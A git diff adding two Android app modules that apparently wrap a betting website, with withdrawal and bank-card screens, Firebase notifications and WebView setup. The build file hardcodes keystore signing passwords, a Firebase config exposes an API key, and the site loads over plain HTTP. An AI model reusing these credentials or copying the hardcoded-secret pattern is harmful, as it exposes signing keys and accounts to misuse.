+1,5 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/mipmap-hdpi/ic_empty.png b/luckybet777/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/luckybet777/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/luckybet777/src/main/res/mipmap-hdpi/ic_pull_down.png b/luckybet777/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/luckybet777/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/luckybet777/src/main/res/mipmap-xhdpi/ic_close.png b/luckybet777/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/luckybet777/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/luckybet777/src/main/res/mipmap-xhdpi/ic_menu.png b/luckybet777/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/luckybet777/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/luckybet777/src/main/res/mipmap-xxhdpi/app_logo.png b/luckybet777/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..b71d851 Binary files /dev/null and b/luckybet777/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/luckybet777/src/main/res/values-en/strings.xml b/luckybet777/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/luckybet777/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/luckybet777/src/main/res/values-night/themes.xml b/luckybet777/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/luckybet777/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/values/colors.xml b/luckybet777/src/main/res/values/colors.xml new file mode 100644 index 0000000..160f244 --- /dev/null +++ b/luckybet777/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #d4b454 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/luckybet777/src/main/res/values/strings.xml b/luckybet777/src/main/res/values/strings.xml new file mode 100644 index 0000000..1fc2de8 --- /dev/null +++ b/luckybet777/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Luckybet777 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/values/themes.xml b/luckybet777/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/luckybet777/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/xml/app_updater_paths.xml b/luckybet777/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/luckybet777/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/xml/network_security_config.xml b/luckybet777/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/luckybet777/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/xml/provider_paths.xml b/luckybet777/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/luckybet777/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/luckybet777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/luckybet777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/m1m/.gitignore b/m1m/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/m1m/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/m1m/build.gradle b/m1m/build.gradle new file mode 100644 index 0000000..52812c3 --- /dev/null +++ b/m1m/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.monem" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "m1m" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/m1m/dskjweb.jks b/m1m/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/m1m/dskjweb.jks differ diff --git a/m1m/google-services.json b/m1m/google-services.json new file mode 100644 index 0000000..3f97a80 --- /dev/null +++ b/m1m/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "490992988401", + "project_id": "monem-5291d", + "storage_bucket": "monem-5291d.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:490992988401:android:9a81bed9c32de6e16a7950", + "android_client_info": { + "package_name": "com.web.monem" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBTyJk_YowIhSlp-nLkThCV9GXRZBHeUzY" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/m1m/ppn.jks b/m1m/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/m1m/ppn.jks differ diff --git a/m1m/proguard-rules.pro b/m1m/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/m1m/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/m1m/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/m1m/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/m1m/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/m1m/src/main/AndroidManifest.xml b/m1m/src/main/AndroidManifest.xml new file mode 100644 index 0000000..d9afad9 --- /dev/null +++ b/m1m/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/java/com/web/monem/MainActivity.java b/m1m/src/main/java/com/web/monem/MainActivity.java new file mode 100644 index 0000000..0aeeb80 --- /dev/null +++ b/m1m/src/main/java/com/web/monem/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.monem; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 199; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://malaysia1mega888.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/m1m/src/main/java/com/web/monem/MyFirebaseMessageingService.java b/m1m/src/main/java/com/web/monem/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b5144a1 --- /dev/null +++ b/m1m/src/main/java/com/web/monem/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.monem; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/m1m/src/main/java/com/web/monem/WebApplication.java b/m1m/src/main/java/com/web/monem/WebApplication.java new file mode 100644 index 0000000..2785a2c --- /dev/null +++ b/m1m/src/main/java/com/web/monem/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.monem; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/m1m/src/main/res/drawable-anydpi/ic_action_back.xml b/m1m/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/m1m/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/m1m/src/main/res/drawable-hdpi/ic_action_back.png b/m1m/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/m1m/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/m1m/src/main/res/drawable-mdpi/ic_action_back.png b/m1m/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/m1m/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/m1m/src/main/res/drawable-v24/ic_launcher_foreground.xml b/m1m/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/m1m/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable-xhdpi/ic_action_back.png b/m1m/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/m1m/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/m1m/src/main/res/drawable-xxhdpi/ic_action_back.png b/m1m/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/m1m/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/m1m/src/main/res/drawable/big_bg.xml b/m1m/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/m1m/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/ic_launcher_background.xml b/m1m/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/m1m/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/m1m/src/main/res/drawable/input_bg.xml b/m1m/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/m1m/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/m1m/src/main/res/drawable/pass_word_bg.xml b/m1m/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/m1m/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/m1m/src/main/res/drawable/pass_word_bg1.xml b/m1m/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/m1m/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/pass_word_bg2.xml b/m1m/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/m1m/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/shape_btn_bg.xml b/m1m/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/m1m/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/shape_dialog_bg2.xml b/m1m/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/m1m/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/shape_dialog_bg3.xml b/m1m/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/m1m/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/drawable/shape_dialog_bg_new.xml b/m1m/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/m1m/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/m1m/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/mipmap-hdpi/ic_empty.png b/m1m/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/m1m/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/m1m/src/main/res/mipmap-hdpi/ic_pull_down.png b/m1m/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/m1m/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/m1m/src/main/res/mipmap-xhdpi/ic_close.png b/m1m/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/m1m/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/m1m/src/main/res/mipmap-xhdpi/ic_menu.png b/m1m/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/m1m/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/m1m/src/main/res/mipmap-xxhdpi/app_logo.jpg b/m1m/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..f21655f Binary files /dev/null and b/m1m/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/m1m/src/main/res/values-en/strings.xml b/m1m/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/m1m/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/m1m/src/main/res/values-night/themes.xml b/m1m/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/m1m/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/values/colors.xml b/m1m/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/m1m/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/m1m/src/main/res/values/strings.xml b/m1m/src/main/res/values/strings.xml new file mode 100644 index 0000000..fd52c12 --- /dev/null +++ b/m1m/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + M1M + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/values/themes.xml b/m1m/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/m1m/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/xml/app_updater_paths.xml b/m1m/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/m1m/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/main/res/xml/network_security_config.xml b/m1m/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/m1m/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git 